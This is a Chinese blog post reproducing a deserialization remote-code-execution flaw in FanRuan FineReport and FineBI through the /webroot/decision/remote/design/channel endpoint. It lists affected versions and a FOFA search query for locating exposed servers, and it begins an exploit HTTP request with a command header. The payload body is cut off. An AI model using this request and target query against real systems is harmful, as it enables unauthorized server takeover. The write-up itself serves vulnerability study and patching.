帆软报表 channel 反序列化漏洞复现

最新推荐文章于 2025-05-15 15:31:16 发布

0xSecl

最新推荐文章于 2025-05-15 15:31:16 发布

阅读量8.9k

点赞数 12

CC 4.0 BY-SA版权

分类专栏：漏洞复现v1 文章标签：安全 web安全

本文链接：https://blog.csdn.net/qq_41904294/article/details/134652054

漏洞复现v1 专栏收录该内容

997 篇文章 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了帆软FineReport和FineBI存在的反序列化漏洞，详细阐述了漏洞概述、影响范围，并提供了复现环境和具体复现步骤。攻击者能通过向/webroot/decision/remote/design/channel接口发送恶意数据，执行服务器上的任意代码。建议受影响用户关注厂商发布的修复程序。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

0x01 产品简介

FineReport、FineBI 是帆软软件开发的企业级报表设计和数据分析工具与商业智能平台。

0x02 漏洞概述

帆软FineReport、FineBI 存在反序列化漏洞，攻击者可向 /webroot/decision/remote/design/channel 接口发送精心构造的反序列化数据，在目标服务器上执行任意代码，获取服务器权限。

0x03 影响范围

FineBI <= V5.1.10

0x04 复现环境

FOFA：app="帆软-FineReport"

0x05 漏洞复现

Exp

POST /webroot/decision/remote/design/channel HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 17531

{
  
  {unquot